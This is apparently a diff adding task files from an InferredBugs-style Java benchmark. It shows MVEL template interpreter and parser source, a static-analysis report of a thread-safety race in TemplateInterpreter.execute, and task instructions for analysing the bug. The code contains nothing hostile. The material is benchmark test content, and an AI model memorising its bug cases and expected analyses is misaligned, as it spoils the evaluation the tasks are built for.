+                this.nodes = cloneAll(EX_NODE_CACHE.get(this.expression = EX_PRECACHE.get(expression)));
+            }
+            catch (NullPointerException e) {
+                EX_NODE_CACHE.remove(expression);
+                nodes = new TemplateCompiler(this).compileExpression();
+                EX_NODE_CACHE.put(expression, nodes);
+                this.nodes = cloneAll(nodes);
+            }
+        }
+
+    }
+
+    public TemplateInterpreter(char[] expression) {
+        this.expression = expression;
+    }
+
+    public boolean isDebug() {
+        return debug;
+    }
+
+    public void setDebug(boolean debug) {
+        this.debug = debug;
+    }
+
+    public static void parseToStream(File template, Object ctx, Map tokens, OutputStream out)
+            throws IOException {
+
+        //noinspection unchecked
+        Object result = parse(template, ctx, tokens);
+        CharSequence cs;
+
+        if (result == null) return;
+        else if (result instanceof CharSequence) {
+            cs = (CharSequence) result;
+        }
+        else {
+            cs = valueOf(result);
+        }
+
+        OutputStreamWriter writer = new OutputStreamWriter(out);
+
+        int len = cs.length();
+        for (int i = 0; i < len; i++) {
+            writer.write(cs.charAt(i));
+        }
+        writer.flush();
+        writer.close();
+    }
+
+    public static Object parse(File file, Object ctx, Map tokens) throws IOException {
+        return parse(file, ctx, tokens, null);
+    }
+
+    public static Object parse(File file, Object ctx, Map tokens, TemplateRegistry registry) throws IOException {
+
+        if (!file.exists())
+            throw new CompileException("cannot find file: " + file.getName());
+
+        FileInputStream inStream = null;
+        ReadableByteChannel fc = null;
+        try {
+            inStream = new FileInputStream(file);
+            fc = inStream.getChannel();
+            ByteBuffer buf = allocateDirect(10);
+
+            StringAppender sb = new StringAppender((int) file.length());
+
+            int read = 0;
+            while (read >= 0) {
+                buf.rewind();
+                read = fc.read(buf);
+                buf.rewind();
+
+                for (; read > 0; read--) {
+                    sb.append((char) buf.get());
+                }
+            }
+
+            //noinspection unchecked
+            return parse(sb, ctx, tokens, registry);
+
+        }
+        catch (FileNotFoundException e) {
+            // this can't be thrown, we check for this explicitly.
+        }
+        finally {
+            if (inStream != null) inStream.close();
+            if (fc != null) fc.close();
+        }
+
+        return null;
+    }
+
+    public static Object parse(CharSequence expression, Object ctx, Map vars) {
+        return parse(expression, ctx, vars, null);
+    }
+
+    public static Object parse(CharSequence expression, Object ctx, Map vars, TemplateRegistry registry) {
+        if (expression == null) return null;
+        //noinspection unchecked
+        return new TemplateInterpreter(expression).execute(ctx, vars, registry);
+    }
+
+    public static Object parse(String expression, Object ctx, Map vars) {
+        return parse(expression, ctx, vars, null);
+    }
+
+    public static Object parse(String expression, Object ctx, Map vars, TemplateRegistry registry) {
+        if (expression == null) return null;
+
+        //noinspection unchecked
+        return new TemplateInterpreter(expression).execute(ctx, vars, registry);
+    }
+
+    public Object execute(Object ctx, Map tokens) {
+        return execute(ctx, tokens, null);
+    }
+
+    public Object execute(Object ctx, Map tokens, TemplateRegistry registry) {
+
+        if (nodes == null) {
+            return new String(expression);
+        }
+        else if (nodes.length == 2) {
+            /**
+             * This is an optimization for property expressions.
+             */
+            switch (nodes[0].getToken()) {
+                case PROPERTY_EX:
+                    //noinspection unchecked
+                    if (CACHE_DISABLE || !cacheAggressively) {
+                        char[] seg = new char[expression.length - 3];
+                        //      arraycopy(expression, 2, seg, 0, seg.length);
+                        for (int i = 0; i < seg.length; i++)
+                            seg[i] = expression[i + 2];
+
+                        return MVEL.eval(seg, ctx, tokens);
+                    }
+                    else {
+                        String s = new String(expression, 2, expression.length - 3);
+                        if (!EX_PRECOMP_CACHE.containsKey(s)) {
+                            synchronized (EX_PRECOMP_CACHE) {
+                                EX_PRECOMP_CACHE.put(s, compileExpression(s));
+                                return executeExpression(EX_PRECOMP_CACHE.get(s), ctx, tokens);
+                            }
+                        }
+                        else {
+                            return executeExpression(EX_PRECOMP_CACHE.get(s), ctx, tokens);
+                        }
+
+                    }
+                case LITERAL:
+                    return new String(expression);
+
+            }
+
+            return new String(expression);
+        }
+
+        Object register = null;
+
+        StringAppender sbuf = new StringAppender(10);
+        Node currNode = null;
+
+        try {
+            //noinspection unchecked
+            MVELInterpretedRuntime oParser = new MVELInterpretedRuntime(ctx, tokens);
+
+            initStack();
+            pushAndForward();
+
+            while ((currNode = pop()) != null) {
+                node = currNode.getNode();
+
+                switch (currNode.getToken()) {
+                    case LITERAL: {
+                        sbuf.append(register = new String(expression, currNode.getStartPos(),
+                                currNode.getEndPos() - currNode.getStartPos()));
+                        break;
+                    }
+                    case PROPERTY_EX: {
+                        sbuf.append(
+                                valueOf(register = oParser.setExpressionArray(getInternalSegment(currNode)).parse())
+                        );
+                        break;
+                    }
+                    case IF:
+                    case ELSEIF: {
+                        try {
+                            if (!((Boolean) oParser.setExpressionArray(getInternalSegment(currNode)).parse())) {
+                                exitContext();
+                            }
+                        }
+                        catch (ClassCastException e) {
+                            throw new CompileException("IF expression does not return a boolean: " + new String(getSegment(currNode)));
+                        }
+                        break;
+                    }
+                    case FOREACH: {
+
+                        if (tokens == null) {
+                            tokens = new HashMap();
+                        }
+
+                        ForeachContext foreachContext;
+
+                        if (!(localStack.peek() instanceof ForeachContext)) {
+                             foreachContext = ((ForeachContext) currNode.getRegister()).clone();
+
+                      //  if (foreachContext.getItererators() == null) {
+                            try {
+                                String[] lists = getForEachSegment(currNode).split(",");
+                                Iterator[] iters = new Iterator[lists.length];
+                                for (int i = 0; i < lists.length; i++) {
+                                    //noinspection unchecked
+                                    Object listObject = new MVELInterpretedRuntime(lists[i], ctx, tokens).parse();
+                                    if (listObject instanceof Object[]) {
+                                        listObject = Arrays.asList((Object[]) listObject);
+                                    }
+                                    iters[i] = ((Collection) listObject).iterator();
+                                }
+
+                                foreachContext.setIterators(iters);
+                                localStack.push(foreachContext);
+                            }
+                            catch (ClassCastException e) {
+                                throw new CompileException("expression for collections does not return a collections object: " + new String(getSegment(currNode)));
+                            }
+                            catch (NullPointerException e) {
+                                throw new CompileException("null returned for foreach in expression: " + (getForEachSegment(currNode)));
+                            }
+                        }
+
+                        foreachContext = (ForeachContext) localStack.peek();
+
+                        Iterator[] iters = foreachContext.getItererators();
+                        String[] alias = currNode.getAlias().split(",");
+                        // must trim vars
+                        for (int i = 0; i < alias.length; i++) {
+                            alias[i] = alias[i].trim();
+                        }
+
+                        if (iters[0].hasNext()) {
+                            push();
+
+                            //noinspection unchecked
+                            for (int i = 0; i < iters.length; i++) {
+
+                                //noinspection unchecked
+                                tokens.put(alias[i], iters[i].next());
+                            }
+                            if (foreachContext.getCount() != 0) {
+                                sbuf.append(foreachContext.getSeperator());
+                            }
+                            //noinspection unchecked
+                            tokens.put("i0", foreachContext.getCount());
+                            foreachContext.setCount(foreachContext.getCount() + 1);
+                        }
+                        else {
+                            for (int i = 0; i < iters.length; i++) {
+                                tokens.remove(alias[i]);
+                            }
+                            foreachContext.setIterators(null);
+                            foreachContext.setCount(0);
+                            localStack.pop();
+                            exitContext();
+                        }
+                        break;
+                    }
+                    case ELSE:
+                    case END:
+                        if (stack.isEmpty()) forwardAndPush();
+                        continue;
+                    case GOTO:
+                        pushNode(currNode.getEndNode());
+                        continue;
+                    case TERMINUS: {
+                        if (nodes.length != 2) {
+                            return sbuf.toString();
+                        }
+                        else {
+                            return register;
+                        }
+                    }
+                    case INCLUDE_BY_REF: {
+                        IncludeRef includeRef = (IncludeRef) nodes[node].getRegister();
+
+                        IncludeRefParam[] params = includeRef.getParams();
+                        Map<String, Object> vars = new HashMap<String, Object>(params.length * 2);
+                        for (IncludeRefParam param : params) {
+                            vars.put(param.getIdentifier(), MVEL.eval(param.getValue(), ctx, tokens));
+                        }
+
+                        if (registry == null) {
+                            throw new CompileException("No TemplateRegistry specified, cannot load template='" + includeRef.getName() + "'");
+                        }
+                        String template = registry.getTemplate(includeRef.getName());
+
+                        if (template == null) {
+                            throw new CompileException("Template does not exist in the TemplateRegistry, cannot load template='" + includeRef.getName() + "'");
+                        }
+
+                        sbuf.append(TemplateInterpreter.parse(template, ctx, vars, registry));
+                    }
+                }
+
+                forwardAndPush();
+            }
+            throw new CompileException("expression did not end properly: expected TERMINUS node");
+        }
+        catch (CompileException e) {
+            throw e;
+        }
+        catch (Exception e) {
+            if (currNode != null) {
+                throw new CompileException("problem encountered at node [" + currNode.getNode() + "] "
+                        + currNode.getToken() + "{" + currNode.getStartPos() + "," + currNode.getEndPos() + "}: " + e.getMessage(), e);
+            }
+            throw new CompileException("unhandled fatal exception (node:" + node + ")", e);
+        }
+
+    }
+
+    private void initStack() {
+        stack = new ExecutionStack();
+        localStack = new ExecutionStack();
+    }
+
+    private void push() {
+        push(nodes[node]);
+    }
+
+    private void push(Node node) {
+        if (node == null) return;
+        stack.push(node);
+    }
+
+    private void pushNode(int i) {
+        stack.push(nodes[i]);
+    }
+
+    private void exitContext() {
+        node = nodes[node].getEndNode() - 1;
+    }
+
+    public void forwardAndPush() {
+        node++;
+        push();
+    }
+
+    private void pushAndForward() {
+        push();
+        node++;
+    }
+
+    private Node pop() {
+        return (Node) stack.pop();
+    }
+
+    /**
+     * @param expression -
+     * @param ctx        -
+     * @param tokens     -
+     * @return -
+     * @deprecated
+     */
+    public static Object getValuePE(String expression, Object ctx, Map tokens) {
+        return new TemplateInterpreter(expression).execute(ctx, tokens);
+    }
+
+
+    /**
+     * @param expression -
+     * @param ctx        -
+     * @param preParseCx -
+     * @param value      -
+     * @deprecated
+     */
+    public static void setValuePE(String expression, Object ctx, Object preParseCx, Object value) {
+        PropertyAccessor.set(ctx, valueOf(eval(expression, preParseCx)), value);
+    }
+
+    public char[] getExpression() {
+        return expression;
+    }
+
+    public void setExpression(char[] expression) {
+        this.expression = expression;
+    }
+
+    private char[] getSegment(Node n) {
+        char[] ca = new char[n.getLength()];
+        //arraycopy(expression, n.getStartPos(), ca, 0, ca.length);
+
+        int o0 = n.getStartPos();
+        for (int i = 0; i < ca.length; i++)
+            ca[i] = expression[i + o0];
+
+        return ca;
+    }
+
+    private char[] getInternalSegment(Node n) {
+        int start = n.getStartPos();
+        int depth = 1;
+
+        //noinspection StatementWithEmptyBody
+        while ((expression[start++] != '{')) ;
+
+        int end = start;
+        while (depth > 0) {
+            switch (expression[++end]) {
+                case '}':
+                    depth--;
+                    break;
+                case '{':
+                    depth++;
+                    break;
+            }
+        }
+
+//        char[] ca = new char[end - start];
+//        arraycopy(expression, start, ca, 0, ca.length);
+//        return ca;
+
+        char[] ca = new char[end - start];
+        for (int i = 0; i < ca.length; i++)
+            ca[i] = expression[i + start];
+
+        return ca;
+    }
+
+    private String getForEachSegment(Node n) {
+        if (n.getAlias() == null) return new String(getInternalSegment(n));
+        else {
+            return n.getName();
+        }
+    }
+
+    public static boolean isCacheAggressively() {
+        return cacheAggressively;
+    }
+
+    public static void setCacheAggressively(boolean cacheAggressively) {
+        TemplateInterpreter.cacheAggressively = cacheAggressively;
+    }
+
+    public static void setDisableCache(boolean disableCache) {
+        CACHE_DISABLE = disableCache;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.mvel.TemplateInterpreter.execute` reads without synchronization from `alias.[_]`. Potentially races with write in method `TemplateInterpreter.parse(...)`.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path alias has been contaminated during the execution, so the reported race on alias.[_] might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object TemplateInterpreter.execute(Object,Map,TemplateRegistry)
+
+### Procedure Id:
+org.mvel.TemplateInterpreter.execute(java.lang.Object,java.util.Map,org.mvel.TemplateRegistry):java..1141972e8c077bf084811e3faa3e1296
+
+### File:
+src/main/java/org/mvel/TemplateInterpreter.java
+
+### Key:
+TemplateInterpreter.java|execute|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+7454fd34625c09de25d94f85fd3d2783
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4794/instruction.md b/inferredbugs-4794/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4e253568600efbef24d0a62aae6e7f933f6cf478
--- /dev/null
+++ b/inferredbugs-4794/instruction.md
@@ -0,0 +1,1840 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 70
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * MVEL 2.0
+ * Copyright (C) 2007 The Codehaus
+ * Mike Brock, Dhanji Prasanna, John Graham, Mark Proctor
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.mvel2.util;
+
+import org.mvel2.*;
+import static org.mvel2.DataConversion.canConvert;
+import static org.mvel2.MVEL.getDebuggingOutputFileName;
+import org.mvel2.ast.ASTNode;
+import org.mvel2.ast.Substatement;
+import org.mvel2.ast.InlineCollectionNode;
+import static org.mvel2.compiler.AbstractParser.*;
+import org.mvel2.compiler.*;
+import static org.mvel2.integration.ResolverTools.insertFactory;
+import org.mvel2.integration.VariableResolverFactory;
+import org.mvel2.integration.impl.ClassImportResolverFactory;
+import org.mvel2.math.MathProcessor;
+
+import java.io.*;
+import static java.lang.Class.forName;
+import static java.lang.Double.parseDouble;
+import static java.lang.String.valueOf;
+import static java.lang.System.arraycopy;
+import static java.lang.Thread.currentThread;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.math.MathContext;
+import java.nio.ByteBuffer;
+import static java.nio.ByteBuffer.allocateDirect;
+import java.nio.channels.ReadableByteChannel;
+import java.util.*;
+
+
+@SuppressWarnings({"ManualArrayCopy"})
+public class ParseTools {
+    public static final Object[] EMPTY_OBJ_ARR = new Object[0];
+
+    static {
+        try {
+            double version = parseDouble(System.getProperty("java.version").substring(0, 3));
+            if (version < 1.5) {
+                throw new RuntimeException("unsupported java version: " + version);
+            }
+        }
+        catch (RuntimeException e) {
+            throw e;
+        }
+        catch (Exception e) {
+            throw new RuntimeException("unable to initialize math processor", e);
+        }
+    }
+
+    public static String[] parseMethodOrConstructor(char[] parm) {
+        int start = -1;
+        for (int i = 0; i < parm.length; i++) {
+            if (parm[i] == '(') {
+                start = ++i;
+                break;
+            }
+        }
+        if (start != -1) {
+            return parseParameterList(parm, --start + 1, balancedCapture(parm, start, '(') - start - 1);
+        }
+
+        return null;
+    }
+
+
+    public static String[] parseParameterDefList(char[] parm, int offset, int length) {
+        List<String> list = new LinkedList<String>();
+
+        if (length == -1)
+            length = parm.length;
+
+        int start = offset;
+        int i = offset;
+        int end = i + length;
+        String s;
+
+        for (; i < end; i++) {
+            switch (parm[i]) {
+                case '(':
+                case '[':
+                case '{':
+                    i = balancedCapture(parm, i, parm[i]);
+                    continue;
+
+                case '\'':
+                    i = captureStringLiteral('\'', parm, i, parm.length);
+                    continue;
+
+                case '"':
+                    i = captureStringLiteral('"', parm, i, parm.length);
+                    continue;
+
+                case ',':
+                    if (i > start) {
+                        while (isWhitespace(parm[start]))
+                            start++;
+
+                        checkNameSafety(s = new String(parm, start, i - start));
+
+                        list.add(s);
+                    }
+
+                    while (isWhitespace(parm[i]))
+                        i++;
+
+                    start = i + 1;
+                    continue;
+
+                default:
+                    if (!isWhitespace(parm[i]) && !isIdentifierPart(parm[i])) {
+                        throw new CompileException("expected parameter");
+                    }
+            }
+        }
+
+        if (start < (length + offset) && i > start) {
+            if ((s = createStringTrimmed(parm, start, i - start)).length() > 0) {
+                checkNameSafety(s);
+                list.add(s);
+            }
+        }
+        else if (list.size() == 0) {
+            if ((s = createStringTrimmed(parm, start, length)).length() > 0) {
+                checkNameSafety(s);
+                list.add(s);
+            }
+        }
+
+        return list.toArray(new String[list.size()]);
+    }
+
+
+    public static String[] parseParameterList(char[] parm, int offset, int length) {
+        List<String> list = new LinkedList<String>();
+
+        if (length == -1)
+            length = parm.length;
+
+        int start = offset;
+        int i = offset;
+        int end = i + length;
+
+        for (; i < end; i++) {
+            switch (parm[i]) {
+                case '(':
+                case '[':
+                case '{':
+                    i = balancedCapture(parm, i, parm[i]);
+                    continue;
+
+                case '\'':
+                    i = captureStringLiteral('\'', parm, i, parm.length);
+                    continue;
+
+                case '"':
+                    i = captureStringLiteral('"', parm, i, parm.length);
+                    continue;
+
+                case ',':
+                    if (i > start) {
+                        while (isWhitespace(parm[start]))
+                            start++;
+
+                        list.add(new String(parm, start, i - start));
+                    }
+
+                    while (isWhitespace(parm[i]))
+                        i++;
+
+                    start = i + 1;
+            }
+        }
+
+        if (start < (length + offset) && i > start) {
+            String s = createStringTrimmed(parm, start, i - start);
+            if (s.length() > 0)
+                list.add(s);
+        }
+        else if (list.size() == 0) {
+            String s = createStringTrimmed(parm, start, length);
+            if (s.length() > 0)
+                list.add(s);
+        }
+
+        return list.toArray(new String[list.size()]);
+    }
+
+    private static Map<String, Map<Integer, Method>> RESOLVED_METH_CACHE = new WeakHashMap<String, Map<Integer, Method>>(10);
+
+    public static Method getBestCandidate(Object[] arguments, String method, Class decl, Method[] methods, boolean requireExact) {
+        Class[] targetParms = new Class[arguments.length];
+        for (int i = 0; i < arguments.length; i++) {
+            targetParms[i] = arguments[i] != null ? arguments[i].getClass() : null;
+        }
+        return getBestCandidate(targetParms, method, decl, methods, requireExact);
+    }
+
+    public static Method getBestCandidate(Class[] arguments, String method, Class decl, Method[] methods, boolean requireExact) {
+        if (methods.length == 0) {
+            return null;
+        }
+
+        Class[] parmTypes;
+        Method bestCandidate = null;
+        int bestScore = 0;
+        int score = 0;
+
+        Integer hash = createClassSignatureHash(decl, arguments);
+
+        Map<Integer, Method> methCache = RESOLVED_METH_CACHE.get(method);
+        if (methCache != null) {
+            if ((bestCandidate = methCache.get(hash)) != null) return bestCandidate;
+        }
+
+        for (Method meth : methods) {
+            if (method.equals(meth.getName())) {
+                if ((parmTypes = meth.getParameterTypes()).length != arguments.length) {
+                    continue;
+                }
+                else if (arguments.length == 0 && parmTypes.length == 0) {
+                    bestCandidate = meth;
+                    break;
+                }
+
+                for (int i = 0; i < arguments.length; i++) {
+                    if (arguments[i] == null) {
+                        if (!parmTypes[i].isPrimitive()) {
+                            score += 5;
+                        }
+                        else {
+                            score = 0;
+                            break;
+                        }
+                    }
+                    else if (parmTypes[i] == arguments[i]) {
+                        score += 6;
+                    }
+                    else if (parmTypes[i].isPrimitive() && boxPrimitive(parmTypes[i]) == arguments[i]) {
+                        score += 5;
+                    }
+                    else if (arguments[i].isPrimitive() && unboxPrimitive(arguments[i]) == parmTypes[i]) {
+                        score += 5;
+                    }
+                    else if (isNumericallyCoercible(arguments[i], parmTypes[i])) {
+                        score += 4;
+                    }
+                    else if (parmTypes[i].isAssignableFrom(arguments[i])) {
+                        score += 3;
+                    }
+                    else if (!requireExact && canConvert(parmTypes[i], arguments[i])) {
+                        if (parmTypes[i].isArray() && arguments[i].isArray()) score += 1;
+                        else if (parmTypes[i] == char.class && arguments[i] == String.class) score += 1;
+
+                        score += 1;
+                    }
+                    else if (arguments[i] == Object.class) {
+                        score += 1;
+                    }
+                    else {
+                        score = 0;
+                        break;
+                    }
+                }
+
+                if (score != 0 && score > bestScore) {
+                    bestCandidate = meth;
+                    bestScore = score;
+                }
+                score = 0;
+            }
+        }
+
+        if (bestCandidate != null) {
+            if (methCache == null) {
+                RESOLVED_METH_CACHE.put(method, methCache = new WeakHashMap<Integer, Method>());
+            }
+
+            methCache.put(hash, bestCandidate);
+        }
+
+        return bestCandidate;
+    }
+
+    public static Method getExactMatch(String name, Class[] args, Class returnType, Class cls) {
+        for (Method meth : cls.getMethods()) {
+            if (name.equals(meth.getName()) && returnType == meth.getReturnType()) {
+                Class[] parameterTypes = meth.getParameterTypes();
+                if (parameterTypes.length != args.length) continue;
+
+                for (int i = 0; i < parameterTypes.length; i++) {
+                    if (parameterTypes[i] != args[i]) return null;
+                }
+                return meth;
+            }
+        }
+        return null;
+    }
+
+    public static Method getWidenedTarget(Method method) {
+        Class cls = method.getDeclaringClass();
+        Method m = method, best = method;
+        Class[] args = method.getParameterTypes();
+        String name = method.getName();
+        Class rt = m.getReturnType();
+
+        do {
+            for (Class iface : cls.getInterfaces()) {
+                if ((m = getExactMatch(name, args, rt, iface)) != null) {
+                    if ((best = m).getDeclaringClass().getSuperclass() != null) {
+                        cls = m.getDeclaringClass();
+                    }
+                }
+            }
+        }
+        while ((cls = cls.getSuperclass()) != null);
+
+        return best;
+    }
+
+    private static Map<Class, Map<Integer, Constructor>> RESOLVED_CONST_CACHE = new WeakHashMap<Class, Map<Integer, Constructor>>(10);
+    private static Map<Constructor, Class[]> CONSTRUCTOR_PARMS_CACHE = new WeakHashMap<Constructor, Class[]>(10);
+
+    private static Class[] getConstructors(Constructor cns) {
+        Class[] parms = CONSTRUCTOR_PARMS_CACHE.get(cns);
+        if (parms != null)
+            return parms;
+        else {
+            parms = cns.getParameterTypes();
+            CONSTRUCTOR_PARMS_CACHE.put(cns, parms);
+            return parms;
+        }
+    }
+
+    public static Constructor getBestConstructorCanadidate(Object[] arguments, Class cls) {
+        Class[] parmTypes;
+        Constructor bestCandidate = null;
+        int bestScore = 0;
+        int score = 0;
+
+        Class[] targetParms = new Class[arguments.length];
+
+        for (int i = 0; i < arguments.length; i++) {
+            if (arguments[i] != null) {
+                targetParms[i] = arguments[i].getClass();
+            }
+        }
+        Integer hash = createClassSignatureHash(cls, targetParms);
+
+        Map<Integer, Constructor> cache = RESOLVED_CONST_CACHE.get(cls);
+        if (cache != null) {
+            if ((bestCandidate = cache.get(hash)) != null) return bestCandidate;
+        }
+
+        for (Constructor construct : getConstructors(cls)) {
+            if ((parmTypes = getConstructors(construct)).length != arguments.length) {
+                continue;
+            }
+            else if (arguments.length == 0 && parmTypes.length == 0) {
+                return construct;
+            }
+
+            for (int i = 0; i < arguments.length; i++) {
+                if (targetParms[i] == null) {
+                    if (!parmTypes[i].isPrimitive()) score += 5;
+                    else {
+                        score = 0;
+                        break;
+                    }
+                }
+                else if (parmTypes[i] == targetParms[i]) {
+                    score += 6;
+                }
+                else if (parmTypes[i].isPrimitive() && boxPrimitive(parmTypes[i]) == targetParms[i]) {
+                    score += 5;
+                }
+                else if (targetParms[i].isPrimitive() && unboxPrimitive(targetParms[i]) == parmTypes[i]) {
+                    score += 5;
+                }
+                else if (isNumericallyCoercible(targetParms[i], parmTypes[i])) {
+                    score += 4;
+                }
+                else if (parmTypes[i].isAssignableFrom(targetParms[i])) {
+                    score += 3;
+                }
+                else if (canConvert(parmTypes[i], targetParms[i])) {
+                    score += 1;
+                }
+                else {
+                    score = 0;
+                    break;
+                }
+            }
+
+            if (score != 0 && score > bestScore) {
+                bestCandidate = construct;
+                bestScore = score;
+            }
+            score = 0;
+
+        }
+
+        if (bestCandidate != null) {
+            if (cache == null) {
+                RESOLVED_CONST_CACHE.put(cls, cache = new WeakHashMap<Integer, Constructor>());
+            }
+            cache.put(hash, bestCandidate);
+        }
+
+
+        return bestCandidate;
+    }
+
+
+    private static Map<ClassLoader, Map<String, Class>> CLASS_RESOLVER_CACHE = new WeakHashMap<ClassLoader, Map<String, Class>>(1, 1.0f);
+    private static Map<Class, Constructor[]> CLASS_CONSTRUCTOR_CACHE = new WeakHashMap<Class, Constructor[]>(10);
+
+
+    public static Class createClass(String className) throws ClassNotFoundException {
+        ClassLoader classLoader = currentThread().getContextClassLoader();
+        Map<String, Class> cache = CLASS_RESOLVER_CACHE.get(classLoader);
+        if (cache == null) {
+            CLASS_RESOLVER_CACHE.put(classLoader, cache = new WeakHashMap<String, Class>(10));
+        }
+
+        Class cls;
+
+        if ((cls = cache.get(className)) != null) {
+            return cls;
+        }
+        else {
+            try {
+                cls = getCurrentThreadParserContext().getParserConfiguration().getClassLoader().loadClass(className);
+            }
+            catch (ClassNotFoundException e) {
+                /**
+                 * Now try the system classloader.
+                 */
+                cls = forName(className);
+            }
+
+            cache.put(className, cls);
+            return cls;
+        }
+    }
+
+
+    public static Constructor[] getConstructors(Class cls) {
+        Constructor[] cns = CLASS_CONSTRUCTOR_CACHE.get(cls);
+        if (cns != null) {
+            return cns;
+        }
+        else {
+            CLASS_CONSTRUCTOR_CACHE.put(cls, cns = cls.getConstructors());
+            return cns;
+        }
+    }
+
+
+    public static String[] captureContructorAndResidual(char[] cs) {
+        int depth = 0;
+        for (int i = 0; i < cs.length; i++) {
+            switch (cs[i]) {
+                case '(':
+                    depth++;
+                    continue;
+                case ')':
+                    if (1 == depth--) {
+                        return new String[]{new String(cs, 0, ++i), createStringTrimmed(cs, i, cs.length - i)};
+                    }
+            }
+        }
+        return new String[]{new String(cs)};
+    }
+
+    public static Class boxPrimitive(Class cls) {
+        if (cls == int.class || cls == Integer.class) {
+            return Integer.class;
+        }
+        else if (cls == int[].class || cls == Integer[].class) {
+            return Integer[].class;
+        }
+        else if (cls == char.class || cls == Character.class) {
+            return Character.class;
+        }
+        else if (cls == char[].class || cls == Character[].class) {
+            return Character[].class;
+        }
+        else if (cls == long.class || cls == Long.class) {
+            return Long.class;
+        }
+        else if (cls == long[].class || cls == Long[].class) {
+            return Long[].class;
+        }
+        else if (cls == short.class || cls == Short.class) {
+            return Short.class;
+        }
+        else if (cls == short[].class || cls == Short[].class) {
+            return Short[].class;
+        }
+        else if (cls == double.class || cls == Double.class) {
+            return Double.class;
+        }
+        else if (cls == double[].class || cls == Double[].class) {
+            return Double[].class;
+        }
+        else if (cls == float.class || cls == Float.class) {
+            return Float.class;
+        }
+        else if (cls == float[].class || cls == Float[].class) {
+            return Float[].class;
+        }
+        else if (cls == boolean.class || cls == Boolean.class) {
+            return Boolean.class;
+        }
+        else if (cls == boolean[].class || cls == Boolean[].class) {
+            return Boolean[].class;
+        }
+        else if (cls == byte.class || cls == Byte.class) {
+            return Byte.class;
+        }
+        else if (cls == byte[].class || cls == Byte[].class) {
+            return Byte[].class;
+        }
+
+        return null;
+    }
+
+    public static Class unboxPrimitive(Class cls) {
+        if (cls == Integer.class || cls == int.class) {
+            return int.class;
+        }
+        else if (cls == Integer[].class || cls == int[].class) {
+            return int[].class;
+        }
+        else if (cls == Long.class || cls == long.class) {
+            return long.class;
+        }
+        else if (cls == Long[].class || cls == long[].class) {
+            return long[].class;
+        }
+        else if (cls == Short.class || cls == short.class) {
+            return short.class;
+        }
+        else if (cls == Short[].class || cls == short[].class) {
+            return short[].class;
+        }
+        else if (cls == Double.class || cls == double.class) {
+            return double.class;
+        }
+        else if (cls == Double[].class || cls == double[].class) {
+            return double[].class;
+        }
+        else if (cls == Float.class || cls == float.class) {
+            return float.class;
+        }
+        else if (cls == Float[].class || cls == float[].class) {
+            return float[].class;
+        }
+        else if (cls == Boolean.class || cls == boolean.class) {
+            return boolean.class;
+        }
+        else if (cls == Boolean[].class || cls == boolean[].class) {
+            return boolean[].class;
+        }
+        else if (cls == Byte.class || cls == byte.class) {
+            return byte.class;
+        }
+        else if (cls == Byte[].class || cls == byte[].class) {
+            return byte[].class;
+        }
+
+        return cls;
+    }
+
+    public static boolean containsCheck(Object compareTo, Object compareTest) {
+        if (compareTo == null)
+            return false;
+        else if (compareTo instanceof String)
+            return ((String) compareTo).contains(valueOf(compareTest));
+        else if (compareTo instanceof Collection)
+            return ((Collection) compareTo).contains(compareTest);
+        else if (compareTo instanceof Map)
+            return ((Map) compareTo).containsKey(compareTest);
+        else if (compareTo.getClass().isArray()) {
+            for (Object o : ((Object[]) compareTo)) {
+                if (compareTest == null && o == null)
+                    return true;
+                else if ((Boolean) MathProcessor.doOperations(o, Operator.EQUAL, compareTest))
+                    return true;
+            }
+        }
+        return false;
+    }
+
+    public static int createClassSignatureHash(Class declaring, Class[] sig) {
+        int hash = 0;
+        for (Class cls : sig) {
+            if (cls != null)
+                hash += cls.hashCode();
+        }
+
+        return hash + sig.length + declaring.hashCode();
+    }
+
+    /**
+     * Replace escape sequences and return trim required.
+     *
+     * @param escapeStr -
+     * @param pos       -
+     * @return -
+     */
+    public static int handleEscapeSequence(char[] escapeStr, int pos) {
+        escapeStr[pos - 1] = 0;
+
+        switch (escapeStr[pos]) {
+            case '\\':
+                escapeStr[pos] = '\\';
+                return 1;
+            case 'b':
+                escapeStr[pos] = '\b';
+                return 1;
+            case 'f':
+                escapeStr[pos] = '\f';
+                return 1;
+            case 't':
+                escapeStr[pos] = '\t';
+                return 1;
+            case 'r':
+                escapeStr[pos] = '\r';
+                return 1;
+            case 'n':
+                escapeStr[pos] = '\n';
+                return 1;
+            case '\'':
+                escapeStr[pos] = '\'';
+                return 1;
+            case '"':
+                escapeStr[pos] = '\"';
+                return 1;
+            case 'u':
+                //unicode
+                int s = pos;
+                if (s + 4 > escapeStr.length) throw new CompileException("illegal unicode escape sequence");
+                else {
+                    while (++pos - s != 5) {
